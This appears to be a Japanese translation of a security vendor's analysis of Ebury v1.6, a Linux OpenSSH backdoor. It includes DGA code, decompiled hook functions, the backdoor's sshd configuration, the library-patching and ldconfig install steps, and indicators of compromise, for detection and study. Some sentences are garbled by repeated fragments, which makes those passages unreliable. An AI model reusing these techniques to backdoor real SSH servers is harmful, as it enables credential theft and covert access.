2014幎2æãESETãŠã€ã«ã¹ã©ã
ã¯ãããã¯ãã¢ãšãè³æ Œæ
å ±ãçãããã®Linux / Eburyãã«ãŠã§ã¢ã®OpenSSH
調æ»ãå°å
¥ããŸã
ã ã ãããªã調æ»ã«ããããã®ã³ã³ããŒãã³ãã¯ãWindigoæäœã«é¢äžããããã€ãã®ãã«ãŠã§ã¢ãã¡ããªã®ã³ã¬ã¯ã·ã§ã³ã®äžæ žã§ããããšã瀺ãããŸããã ãã®çºèŠã¯ããã®ãµã€ããŒãã£ã³ããŒã³ã説æãã
ã¬ããŒãã®åºç€ãšãªããŸããã
2017幎2æãæ°ããæ©èœããµããŒãããEburyã®ãµã³ãã«ãçºèŠããŸããã æ°ããããŒãžã§ã³çªå·ã¯1.6.2aã§ãã ãã®ãµã³ãã«ãçºèŠãããæç¹ã§ãç§ãã¡ãç¥ã£ãŠããæåŸã®ããŒãžã§ã³ã¯1.5.xã§ãæ°ãæåã«ç¹å®ãããŸããã ãããªã調æ»ã®éçšã§ãIDçé£ã®åå ãšãªãã€ã³ãã©ã¹ãã©ã¯ãã£ã¯çŸåšãéçšäžã§ãããEburyã¯Windigoãµã€ããŒã°ã«ãŒãã«ãã£ãŠç©æ¥µçã«äœ¿çšãããŠããããšã«æ°ä»ããŸããã
æåã«ãããŒãžã§ã³1.4ã®Eburyã®äŸµå®³ã®å
åïŒIoCïŒããªã¹ãããŸããã CERT-Bundã¯ãããŒãžã§ã³1.5ã®IoCãå
¬éããŠããŸãã ãã®æçš¿ã§ã¯ã2017幎2æã«ãªãŒãã³ããããŒãžã§ã³1.6ã®ãã¯ãã«ã«åæãšãããŒãžã§ã³1.5ããã³1.6ã®IoCã玹ä»ããŸãã
ããã¯ã¢ããã®æœåºçšã®æ°ããDGA
Ebury v1.4ã¯ããã¡ã€ã³çæã¢ã«ãŽãªãºã ïŒDGAïŒã«åºã¥ãããã¯ã¢ããã¡ã«ããºã ãæäŸããŸããããã¯ãæ»æè
ãOpenSSHããã¯ãã¢ãä»ããŠææã·ã¹ãã ã«3æ¥éæ¥ç¶ããªãå Žåã«äœ¿çšãããŸãã ãããã®æ¡ä»¶äžã§ãEburyã¯çæããããã¡ã€ã³ã䜿çšããŠåéãããããŒã¿ã転éããŸãã Ebury v1.6ã«ãåãã¡ã«ããºã ããããŸãããDGAèªäœã«å°ããªå€æŽããããŸãã ããã2ã€ã®ããŒãžã§ã³ã§ã¯ã以äžã«ç€ºãããã«ã宿°ã®ã¿ãç°ãªããŸãã
Ebury v1.6ã®æ°ããPythonå®è£
ïŒdef DGA(domain_no): TLDS = [ 'info', 'net', 'biz' ] KEY = "fmqzdnvcyelwaibsrxtpkhjguo" h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF) g = "" for i in range(len(h))[::-1]: g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)] g += h[i] g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)] g += '.%s' % TLDS[domain_no % len(TLDS)] return g
Pythonã®ããŒãžã§ã³1.4ãš1.6ã®DGAã®éãïŒ @@ -1,10 +1,10 @@ def DGA(domain_no): KEY = "fmqzdnvcyelwaibsrxtpkhjguo" - h = "%x" % ((domain_no * domain_no + 4091073) & 0xFFFFFFFF) + h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF) g = "" for i in range(len(h))[::-1]: - g += KEY[((ords(h[i]) * 4906) + (ords(h[-1]) + i + domain_no)) % len(KEY)] + g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)] g += h[i] - g += KEY[((ords(h[-1]) * 6816) + (len(h) + domain_no - 1)) % len(KEY)] + g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)] g += '.%s' % TLDS[domain_no % len(TLDS)] return g
DGAã«ãã£ãŠçæãããæåã®10ãã¡ã€ã³ïŒlarfj7g1vaz3y.net
idkff7m1lac3g.biz
u2s0k8d1ial3r.info
h9g0q8a1hat3s.net
f2y1j8v1saa3t.biz
xdc1h8n1baw3m.info
raj2p8z1aae3b.net
o9f3v8r1oaj3p.biz
tav4h8n1baw3r.info
hdm5o8e1tas3n.net
Eburyã¯ããªãã¬ãŒã¿ãŒã«ãã£ãŠäœæãããTXTã¬ã³ãŒããæã€ãã¡ã€ã³ãèŠã€ãããŸã§ãçæããããã¡ã€ã³åãé æ¬¡è©Šè¡ããŸãã ãã¡ã€ã³ææè
ã確èªããããã«ãEburyã¯ã³ãŒãã«åã蟌ãŸããRSAå
¬éããŒã䜿çšããŠTXTã¬ã³ãŒãã埩å·åã§ãããã©ããã確èªããŸãã
larfj7g1vaz3yã®DNSã¬ã³ãŒã[ã]ãããïŒ-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAOadSGBGG9x/f1/U6KdwxfGzqSj5Bcy4aZpKv77uN4xYdS5HWmEub5Rj
nAvtKybupWb3AUWwN7UPIO+2R+v6hrF+Gh2apcs9I9G7VEBiToi2B6BiZ3Ly68kj
1ojemjtrG+g//Ckw/osESWweSWY4nJFKa5QJzT39ErUZim2FPDmvAgMBAAE=
-----END RSA PUBLIC KEY-----
larfj7g1vaz3y.net. 1737 IN A 78.140.134.7
larfj7g1vaz3y.net. 285 IN TXT "ItTFyJ6tegXn9HkHa+XZX1+fZw0IsfhXl05phu1F7ZXDP4HtKMvrXW8NbUSjY8vkQgDdKsSaSCyrvfkhHodhVQLhIKJJY64HeoInb3m4SCNZNOhx9qjYRnuR0Ci7BHNWakJC/QdoQ4UNKkOrvvb42kN7TU6jqZCYBtusXd37tNg="
Eburyã¯ãã¡ã€ã³ã¬ã³ãŒããç¡èŠããŸãã
埩å·åãããæ
å ±ã¯ã3ã€ã®CSVãã£ãŒã«ãã§æ§æãããŸãã 以äžã¯ãlarfj7g1vaz3y [ã] Netã®DNSã¬ã³ãŒãã«ä¿åãããŠããããŒã¿ã®ãµã³ãã«ã§ãã2018幎1æã®å ŽåïŒ
larfj7g1vaz3y[.]net:3328801113:1504126800
æåã®ãã£ãŒã«ãã«ã¯ãã¡ã€ã³åãå«ãŸããŠããããã眲åãããããŒã¿ãå¥ã®ãã¡ã€ã³ã§åå©çšããããšã¯ã§ããŸããã 2çªç®ã®ãã£ãŒã«ãã¯ãCïŒCãµãŒããŒã®IPã¢ãã¬ã¹ã§ãã 3çªç®ã®ãã£ãŒã«ãã«ã¯ãçœ²åæžã¿ããŒã¿ã®æå¹æéãšããŠäœ¿çšãããUNIXã¿ã€ã ã¹ã¿ã³ããå«ãŸããŸãã æå¹æé-ããŒãžã§ã³1.6以éãã·ã³ã¯ããŒã«ã¡ãœããããã€ãã¹ããããã«è¿œå ãããæ°ãããã£ãŒã«ãã 誰ããçãŸããããŒã¿ã®éä¿¡å
ã®ãµãŒããŒïŒãšã¯ã¹ãã£ã±ãŒã·ã§ã³ãµãŒããŒïŒã®ãã¡ã€ã³ãšIPã¢ãã¬ã¹ãåŒãç¶ãããšãããšã眲åãããããŒã¿ã¯éãããæéãã䜿çšã§ããŸããã ããã«ãããã»ãŒãã¹ãŠã®ä»¥åã®ããŒãžã§ã³ã®DGAã§çºçããåæã®è©Šè¡ãæåããå Žåã®åœ±é¿ã軜æžãããŸãã
衚1. TXTã¬ã³ãŒãã«æ ŒçŽãããŠãããã³ãŒããããæ
å ±Eburyã®ãªãã¬ãŒã¿ãå®éã«ããã¯ã¢ãããã£ãã«ã䜿çšããããšã¯èããŠããŸããã 調æ»ãããµã³ãã«ã§ã¯ãââå€ãã®ãã°ãèŠã€ãããŸããããã®ãããã¡ã«ããºã ã宿ãããããšãã§ããŸããã ã³ãŒãã¯æããã«å®å
šãªãã¹ãã«åæ ŒããŸããã§ããã ãã®ãããEburyã®ãªãã¬ãŒã¿ãŒãææãããã·ã³ãžã®ã¢ã¯ã»ã¹ã倱ãããšã¯ã»ãšãã©ãªããšæ³å®ã§ããŸãã ããããã圌ãã¯å°æ°ã®æå€±ãå¿é
ããŠããªã-圌ãã®å¶åŸ¡äžã§ãå€ãã®ã·ã¹ãã ã é皌åã¡ã«ããºã ãå®è£
ããããã«ããã»ã©å€ãã®åªåãæãããçç±ã¯äžæã§ãã
倿Žã®æŠèŠ-ãããã«å€æŽãããDGAïŒå®æ°ã®å€æŽïŒ
-ããŒã¿åéãµãŒããŒã®DNSã¬ã³ãŒãã確èªããããã®æå¹æéã远å
-æ°èŠç»é²ãã¡ã€ã³ïŒlarfj7g1vaz3y [ã] Net
-çãŸããããŒã¿ã®éä¿¡å
ãµãŒããŒã®æ°ããIPã¢ãã¬ã¹ïŒ198 [ã] 105.121.89
æ°æ©èœ
ããŒãžã§ã³1.6ã§æ°ããæ©èœã远å ãããŸããã çç±ã¯äžæã§ããããã®ããŒãžã§ã³ã®ãã¹ãŠã®èª¿æ»ãµã³ãã«ã§å©çšã§ããããã§ã¯ãããŸããã
Eburyã¯çŸåšãäžè¬ã«
ããŠãŒã¶ãŒã¢ãŒã
ã«ãŒããããã ïŒãŠãŒã¶ãŒã¢ãŒãïŒãšåŒã°ããã»ã«ããã¹ãã³ã°ãã¯ããã¯ã䜿çšããŠããŸãã ãããè¡ãããã«ãããã°ã©ã ã¯
readdir
ãŸãã¯
readdir64
ã€ã³ã¿ãŒã»ããããŸãããããã¯ããããããã£ã¬ã¯ããªãšã³ããªã®ãªã¹ããã³ã³ãã€ã«ããããã«äœ¿çšãããŸãã è¿ãããæ¬¡ã®ãã£ã¬ã¯ããªæ§é ãEburyå
±æã©ã€ãã©ãªãã¡ã€ã«ã§ããå Žåããã©ããã¯ãããã¹ããããã代ããã«æ¬¡ã®ãšã³ããªãçæããŸãã
Hex-Raysãã³ã³ãã€ã©ãŒã®readdirãã©ããã®åºåïŒstruct dirent *__fastcall readdir(__int64 a1)
{
struct dirent *dir_entry; // rax
struct dirent *dir_entry_1; // rbx
__ino_t inode; // rax
do
{
if ( !readdir_0 )
readdir_0 = F_resolve_func("readdir");
dir_entry = readdir_0(a1);
dir_entry_1 = dir_entry;
if ( !exports_hook_activated )
break;
if ( !dir_entry )
break;
if ( !ebury_inode )
break;
inode = dir_entry->d_ino;
if ( inode != ebury_inode && inode != ebury_lstat_inode )
break;
}
while ( ebury_filename && !strncmp(dir_entry_1->d_name, ebury_filename,
ebury_filename_len_before_extension) );
return dir_entry_1;
}
ãã©ããã®ã¢ã¯ãã£ãåã¯ãåçãªã©ã€ãã©ãªãå
sshd
åå«ããã»ã¹ã«æ³šå
¥ããããšã«ãããEburyã«ãã£ãŠå®è¡ãããŸãã ãµãããã»ã¹ã«èªèº«ã泚å
¥ããããã«ãEburyã¯
execve
ãã€ã³ã¿ãŒã»ããããåçãªã³ã«ãŒå€æ°
LD_PRELOAD
ã䜿çšããŸãã æ°ããããã»ã¹ãäœæããããã³ã«ãEburyã¯
LD_PRELOAD=<Ebury_filename>
ãç°å¢ã«è¿œå ããŸãã
srvfail.comã®
èšäºã§ã¯ãEburyã«ãã£ãŠãã·ã³ã䟵害ããããšããããŠãŒã¶ãŒã®StackExchangeã®
ã¹ã¬ããã«èšåããŠã
ãŸã ã 圌ã説æããæ¯ãèãã¯ãEburyããŒãžã§ã³1.6.2aã§èгå¯ããèªå·±ãã¹ãã³ã°æè¡ãšäžèŽããŠããŸãã
Eburyã®ä»¥åã®ããŒãžã§ã³ã¯OpenSSHã®ç¹å®ã®ããŒãžã§ã³ã§åäœããLinuxãã£ã¹ããªãã¥ãŒã·ã§ã³ã«äŸåããŠããŸããã ããã¯ããã§ã¯ãããŸããã OpenSSHããããé©çšããããã®ã»ãšãã©ã®ãã©ã¯ãã£ã¹ã¯ãæ©èœããã¯ã«çœ®ãæããããŸããã åããµã³ãã«ã䜿çšããŠãDebian JessieãCentOS 7ãããã³Ubuntu Artfulãã·ã³ã«Eburyãã€ã³ã¹ããŒã«ããŠã¿ãŸãããããã¹ãŠã®ã±ãŒã¹ã§æ©èœããŸããã
OpenSSHãµãŒããŒæ§æãæ¿å
¥ããããã«ããã€ããª
sshd
ã³ãŒããEburyã¡ã¢ãªã«çŽæ¥è§£æãããŸããããã¯ã2ã€ã®ç°ãªãæ©èœãæ¢ããŠåãããã»ã¹ã§è¡šç€ºãããŸãã ã¢ãã¬ã¹
parse_server_config
ãŸãã¯
process_server_config_line
ãèŠã€ããããšããŸãã 詊è¡ã倱æããå ŽåãSELinux Role-Based Access Controlãç¡å¹ã«ããPAMã¢ãžã¥ãŒã«ãç¡å¹ã«ããããšã«ãããã»ãã¥ãªãã£æ©èœãäœäžããŸãã 颿°ã®1ã€ãæ£åžžã«åŠçããããšãEburyã¯ããã¯ãã¢ã䜿çšãã
sshd
æ§æã®å€æŽäžã«ããã䜿çšããŸãã
ããã¯ãã¢ã䜿çšããæ§æïŒPrintLastLog no
PrintMotd no
PasswordAuthentication no
PermitRootLogin yes
UseLogin no
UsePAM no
UseDNS no
ChallengeResponseAuthentication no
LogLevel QUIET
StrictModes no
PubkeyAuthentication yes
AllowUsers n
AllowGroups n
DenyUsers n
DenyGroups n
AuthorizedKeysFile /proc/self/environ
Banner /dev/null
PermitTunnel yes
AllowTcpForwarding yes
PermitOpen any
Eburyã®èè
ã¯ãããã¯ãã¢ã¡ã«ããºã ã匷åããŠããŸãã SSHã®ã¯ã©ã€ã¢ã³ãåŽããŒãžã§ã³ã§ãšã³ã³ãŒãããããã¹ã¯ãŒãã«äŸåãã代ããã«ãããã¯ãã¢ãã¢ã¯ãã£ãåããã«ã¯èªèšŒçšã®ç§å¯éµãå¿
èŠã«ãªããŸããã ããããããã®è¿œå ã®ãã§ãã¯ã¯ãããã¯ãã¢ã®ãã¹ã¯ãŒããèŠã€ããããšãã§ãã人ã«ã䟵害ãããEburyãµãŒããŒãžã®ã¢ã¯ã»ã¹ãé²ãããã«è¿œå ããããã®ã§ãã
RSAå
¬ééµEburyãªãã¬ãŒã¿ãŒïŒssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESH
CvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd3BD+ADXDurAlDG
bh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00
H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC/9rqoAdv7Gbc5Y7W8xrNIjOIuxDx
Bx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq6
3E/xqI4tMEQl9BmW1Df5+LjbVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub
ããã¯ãã¢ã«æ¥ç¶ããããšãããšãEburyã¯
AuthorizedKeysFile
ãªãã·ã§ã³ã
/proc/self/environ
ãæãããã«å€æŽããŸãã
open
ãŸãã¯
open64
ãããã¯ãã
/proc/self/environ
ãŸãã¯
.ssh/authorized_keys
ãå«ããã¹ãéã詊ã¿ããããã©ããã確èªã
.ssh/authorized_keys
ã Eburyã
parse_server_config
ããã³
process_server_config_line
ãåŠçããŠæ§æã®è»¢éã匷å¶ã§ããªãå Žåã2çªç®ã®ãã§ãã¯ãããã¯ã¢ãããšããŠäœ¿çšã§ããŸãã Eburyã¯
fgets
ãã€ã³ã¿ãŒã»ããããŸããããã¯ã
sshd
ãauthorized_keysãã¡ã€ã«ã®å
容ãèªã¿åãããã«åŒã³åºããŸãã ã°ããŒãã«å€æ°ã¯ãauthorized_keysãã¡ã€ã«ãéããåŸã«
fgets
ãåŒã³åºãããããã«ããããã«äœ¿çšãããŸãã ãã®åŸããã©ããã¯
fgets
ãããã¡ãŒãEburyãªãã¬ãŒã¿ãŒã®å
¬éããŒã§åãããããèªèšŒã«ã¯æ»æè
ããŒã䜿çšãããŸãã
Hex-Raysãã³ã³ãã€ã©ãŒã®fgetsãã©ããã®åºåïŒchar *__fastcall fgets_hook(char *s, __int64 size, FILE *stream)
{
int fd_env; // ebp
char *result; // rax
if ( !(backdoor_command & 1) )
return fgets_0(s);
fd_env = fd_proc_self_environ;
if ( fd_proc_self_environ <= 0 || fd_env != fileno(stream) )
return fgets_0(s);
strcpy(
s,
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESHCvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd" "3BD+ADXDurAlDGbh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC" "/9rqoAdv7Gbc5Y7W8xrNIjOIuxDxBx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq63E/xqI4tMEQl9BmW1Df5+Lj"
"bVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub\n");
result = s;
fd_proc_self_environ = 0;
return result;
}
ã¡ã¢ãªã³ããŒæ©èœïŒ
memcpy
ïŒã®ãã©ããããã¯ã®ç®çã¯ãŸã 確ç«ãããŠããŸããã
Hex-Raysãã³ã³ãã€ã©ãŒã®memcpyãã©ããã®åºåïŒchar *__fastcall memcpy_hook(char *dst, const char *src, size_t len)
{
size_t len_1; // r12
char *result; // rax
len_1 = len;
memcpy_orig(dst, src, len);
if ( len_1 > 0x1F && !strncmp(src, "chacha20-poly1305@openssh.com,", 0x1EuLL) )
result = memcpy_orig(dst, src + 30, len_1 - 30);
else
result = dst;
return result;
}
SSHéµäº€æäžã«chacha20-poly1305ã¢ã«ãŽãªãºã ãåé€ããããã«ãã©ããã䜿çšãããããšãããã£ãŠããŸãã Eburyã®äœè
ããã®ã¢ã«ãŽãªãºã ã®äœ¿çšãæãŸãªãã®ã¯å¥åŠã§ãã
æ°ããã€ã³ã¹ããŒã«æ¹æ³
Eburyã¯
libkeyutils.so
ã
libkeyutils.so
ã©ã€ãã©ãªã«ãã€ããŒãã远å ããŠã
libkeyutils.so
ã ãã®ãã¡ã€ã«ã«ã¯ãlibkeyutilsã®æ£åœãªæ©èœãšããŒãæã«èµ·åãããæªæã®ããEburyã³ãŒãã®äž¡æ¹ãå«ãŸããŠããŸããã ææããå Žåããã¡ã€ã«ãµã€ãºã¯éåžžããã倧ãããªããŸãããããã¯ã2014幎ã«äŸµå®³ã®å
åãšããŠææããŸããã
ããŒãžã§ã³1.6.2ã§ãã®æ¹æ³ãã©ã®ããã«äœ¿çšããããã芳å¯ããŸããããEburyã®äœè
ã¯äŸµå®³ã®ææšãåé¿ããæ°ããæ¹æ³ãæãã€ããŸããã ãŸã
libkeyutils.so
ãã¡ã€ã«ã䜿çšããŠ
libkeyutils.so
ãŸãããæ¹æ³ã¯ç°ãªããŸãã
ç§ãã¡ã®èгå¯ã«åºã¥ããŠãã¹ã¯ãªãããšå®è£
æ¹æ³ã¯ãæ»æãåããŠããã·ã¹ãã ã®Linuxãã£ã¹ããªãã¥ãŒã·ã§ã³ã«ãã£ãŠç°ãªããŸãã
Debian / UbuntuDebian / Ubuntuã·ã¹ãã ã§ã¯ãæ°ããæ¹æ³ã䜿çšããŠEburyãå±éãããŸãã
libkeyutils.so
OpenSSHã¯ã©ã€ã¢ã³ãããã³OpenSSHãµãŒããŒã®å®è¡å¯èœãã¡ã€ã«ã«ãã£ãŠããŒãããããããæ»æè
ã«ãšã£ãŠè峿·±ãæšçã§ãã 以åã«ãã·ã³ããªãã¯ãªã³ã¯
libkeyutils.so.1
ã倿ŽããŠã©ã€ãã©ãªã®æªæã®ããããŒãžã§ã³ã瀺ãããšã«ãããEburyãã€ã³ã¹ããŒã«ãããããšã«æ°ä»ããŸããã 倿Žãããã©ã€ãã©ãªã«ã¯ãEburyåæåã³ãŒããæ ŒçŽãããã³ã³ã¹ãã©ã¯ã¿ããããŸãã
libkeyutils.so
ãããŒãããããã³ã«ã
libkeyutils.so
ãåŒã³åºãããŸãã ãããã£ãŠãã¯ã©ã€ã¢ã³ããŸãã¯OpenSSHãµãŒããŒãèµ·åãããã³ã«ãEburyãããã»ã¹ã«æ¿å
¥ãããŸãã
Debian / Ubuntuã®ææ°ã®å®è£
æ¹æ³ã¯ã
libkeyutils.so
ãããã«åºã¥ããŠãããå¥ã®
.so
ãã¡ã€ã«ã«ä¿åãããŠããEburyã匷å¶çã«ããŒãããŸãã å
ã®ããŒãžã§ã³ãšããããé©çšããããŒãžã§ã³ãæ¯èŒãããšãELFãã¡ã€ã«ããããŒã®
.dynamic
ã»ã¯ã·ã§ã³ã«è¿œå ã®ãšã³ããªãããããšãããããŸããã ã¬ã³ãŒãã®ã¿ã€ãã¯NEEDEDïŒ0x01ïŒã§ããããã¯ãå®è¡å¯èœãã¡ã€ã«ã®äŸåé¢ä¿ãšãæäœäžã«ããŒããããããšã瀺ããŸãã 調æ»ããå±éã¹ã¯ãªããã§ã¯ãããŠã³ããŒãå¯èœãªã©ã€ãã©ãªã¯
libsbr.so
ãšåŒã°ããæªæã®ããEburyã³ãŒããå«ãŸããŠããŸãã
å
ã®libkeyutils.soãšããããé©çšããlibkeyutils.soã®åçã»ã¯ã·ã§ã³ã®éãïŒ--- ./libkeyutils.so.1-5 2017-10-13 21:19:24.269521814 -0400
+++ ./libkeyutils.so.1-5.patched 2017-10-13 21:19:17.405092274 -0400
@@ -1,5 +1,5 @@
-Dynamic section at offset 0x2cf8 contains 26 entries:
+Dynamic section at offset 0x2cf8 contains 27 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000e (SONAME) Library soname: [libkeyutils.so.1]
@@ -26,4 +26,5 @@
0x000000006fffffff (VERNEEDNUM) 1
0x000000006ffffff0 (VERSYM) 0xdf0
0x000000006ffffff9 (RELACOUNT) 3
+ 0x0000000000000001 (NEEDED) Shared library: [libsbr.so]
0x0000000000000000 (NULL) 0x0
ããããé©çšããããã»ã¹ã¯ã2ã€ã®ã¹ãããã§æ§æãããŠããŸãã ãŸãããã€ããªãã¡ã€ã«ã®è¡ã®ããŒãã«ã«ã
libsbr.so
ããšããè¡ãé
眮ããå¿
èŠããããŸãã æ¬¡ã«ãã¿ã€ã0x1ïŒDT_NEEDEDïŒã®æ°ãããšã³ããªãELFãã¡ã€ã«ããããŒã®åçã»ã¯ã·ã§ã³ã«è¿œå ããå¿
èŠããããŸãã Eburyã®äœè
ã¯ãæååã
__bss_start
ããã
_\x00libsbr.so
ãã«çœ®ãæããŸããã
__bss_start
åçãªã³ã«ãŒã«ãã£ãŠäœ¿çšãããªãããããã®ã·ã³ãã«ã倿ŽããŠãã©ã€ãã©ãªã®å®è¡ã«ã¯åœ±é¿ããŸããã æ¬¡ã®å³ã¯ãå
ã®
libkeyutils.so
ãšå€æŽããã
libkeyutils.so
è¡
libkeyutils.so
ã®éãã瀺ããŠ
libkeyutils.so
ãŸãã
å³1.å
ã®è¡ããŒãã«ãšããããé©çšããè¡ããŒãã«ã®éãlibsbr.so
è¡ãè¡ããŒãã«ã«ä¿åãããã®ã§ã
.dynamic
ã»ã¯ã·ã§ã³ã«æ°ãããšã³ããªã远å ããå¿
èŠããããŸãã å³2ã¯ãå
ã®libkeyutils.soãšããããåœãŠãlibkeyutils.soã®.dynamicã»ã¯ã·ã§ã³ã®éãã瀺ããŠããŸãã
å³2.ãªãªãžãã«ãšããããé©çšããlibkeyutils.soã®.dynamicã»ã¯ã·ã§ã³ã®éã.dynamic
ã»ã¯ã·ã§ã³ã«ã¯ãamd64ãã€ããªçšã®Elf64_Dyné
åãši386çšã®Elf64_Dyné
åãå«ãŸããŠããŸãã ãããã®æ§é ã®å®çŸ©ã以äžã«ç€ºããŸãã
.dynamicã»ã¯ã·ã§ã³ã«é¢é£ä»ããããæ§é typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
typedef struct {
Elf64_Sxword d_tag;
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;
libkeyutils.so
ã®64ãããããŒãžã§ã³ã以äžã«ç€ºããŸãã ãããã£ãŠã.dynamicã»ã¯ã·ã§ã³ã®æ°ãããšã³ããªã¯æ¬¡ã®ããã«èšè¿°ã§ããŸãã
.dynamicã®æ°ãããšã³ããªïŒElf64_Dyn dyn;
dyn.d_tag = DT_NEEDED;
dyn.d_val = 0x38F;
ã¹ãã«ã¹æ§ãé«ãããããEburyã®ãªãã¬ãŒã¿ãŒã¯
libkeyutils1
ããã±ãŒãžã®MD5åèšã«ããããé©çšããããã«ããŸããã åçŽãªããã±ãŒãžæŽåæ§ãã§ãã¯ã䜿çšããŠã·ã¹ãã ã®ææããã§ãã¯ããããšã¯ã§ããŸããã åæ§ã®ã³ãã³ãã¯ãšã©ãŒã衚瀺ããŸããã
ããã±ãŒãžæŽåæ§ãã§ãã¯ã³ãã³ãïŒ
$ dpkg --verify libkeyutils1
å¥ã®ã©ã€ãã©ãªãšããŠãããã€ãããå ŽåãEburyã¯å€ãã®ãã¡ã€ã«åã䜿çšããŸãã 以äžã¯ãæ¢ç¥ã®ãã¡ã€ã«åã®ãªã¹ãã§ãã
-libns2.so
-libns5.so
-libpw3.so
-libpw5.so
-libsbr.so
-libslr.so
CentOSDebian / Ubuntuã§ã®å±éã«äœ¿çšããããã®ãšåæ§ã®ææ³ã¯ãCentOSã«ãé©çšãããŸãã æ»æè
ã¯
libkeyutils.so.1
ãããã«ããããåœãŠãŠã远å ã®ã©ã€ãã©ãªã®ããŠã³ããŒãã匷å¶ããŸãã ããã«ãCentOS / RedHatã·ã¹ãã ã«Eburyãå®è£
ããããã«äœ¿çšãããæ°ããææ³ã«æ°ä»ããŸããã ã€ã³ã¹ããŒã«ããã»ã¹ã®è©³çްã¯ãŸã ããããŸããããäžéšã®ãªã³ã©ã€ã³ã¬ããŒãã衚瀺ããããšã§ãå®è£
ã®ä»çµã¿ã«ã€ããŠããã€ãã®ä»®å®ãç«ãŠãããšãã§ããŸããã
Debianã®å®è£
ã«äŒŒãæ¹æ³ã§ãEburyã
libkeyutils
ãã¡ã€ã«ã«ãã£ãŠå¥ã®å
±æãªããžã§ã¯ããšããŠãããã€ãããŠããããšãç¥ã£ãŠããŸãã ããŒãžã§ã³1.6ã®å®è£
æ¹æ³ãšæãããå¥ã®ã€ã³ã¹ããŒã«æ¹æ³ã確èªããŸããã Eburyã®ä»¥åã®ããŒãžã§ã³ãšåæ§ã«ããªãã¬ãŒã¿ãŒã¯ç¬èªã®ããŒãžã§ã³ã®
libkeyutils.so
äœæããããã«æªæã®ããã³ãŒããå«ãã³ã³ã¹ãã©ã¯ã¿ãŒã远å ããŸããã
libkeyutils.so.1
ã
/lib/
ãŸãã¯
/lib64/
ãã倿Žãã代ããã«ãåçãªã³ã«ãŒã¯ãã®ãã£ã¬ã¯ããªããäŸåé¢ä¿ã®åŠçãéå§ããããããã¡ã€ã«ã
/lib{,64}/tls/
ã
ãã®ããŒãžã§ã³ã®å®è£
ããã»ã¹ã¯ã被害è
ã®ã·ã¹ãã ã®ã¢ãŒããã¯ãã£ã«å¿ããŠã
/lib/tls/
ãŸãã¯
/lib64/tls/
ã«Eburyãé
眮ããããšããå§ãŸããšèããŠã
/lib64/tls/
ã æ¬¡ã«ã
ldconfig
å®è¡ãããšãæªæã®ããå
±æãªããžã§ã¯ãã瀺ãã·ã³ããªãã¯ãªã³ã¯
/lib{,64}/tls/libkeyutils.so.1
èªåçã«äœæãããŸãã
ldconfigã䜿çšããŠãEburyã/ lib64 / tls /ã«ãããã€ããŸãã[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007ff67774f000)
[root@c2093ca76055 lib64]# cp libkeyutils.so.1.5 /lib64/tls/
[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f44ac6ba000)
[root@c2093ca76055 lib64]# ldconfig
[root@c2093ca76055 lib64]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/tls/libkeyutils.so.1 (0x00007fc12db23000)
[root@c2093ca76055 lib64]# ls -al /lib64/tls
total 24
dr-xr-xr-x 1 root root 4096 Oct 18 14:34 .
dr-xr-xr-x 1 root root 4096 Oct 18 13:25 ..
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5
ããã«ãããã¯ãã·ã³ããªãã¯ãªã³ã¯ãæäœããããå®è£
äžã«åé¡ãçºçããå Žåã«å
ã®å
±æ
libkeyutils
ãªããžã§ã¯ãã®ããã¯ã¢ããã³ããŒãä¿åãããããå¿
èŠã®ãªãåçŽãªã¢ã³ã€ã³ã¹ããŒã«ã·ã¹ãã ã«å¯ŸããŠãè¡ãããŸãã
/lib{,64}/tls/
ã®æªæã®ãã
libkeyutils.so
ãã¡ã€ã«ãåé€ããŠããã
ldconfig
å床å®è¡ããŠãã·ã¹ãã ãå
ã®ç¶æ
ã«æ»ãã ãã§ååã§ãã
ldconfigã䜿çšããŠEburyãåé€ããŸãã[root@c2093ca76055 tls]# pwd
/lib64/tls
[root@c2093ca76055 tls]# ls -l
total 16
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5
[root@c2093ca76055 tls]# rm libkeyutils.so.1.5
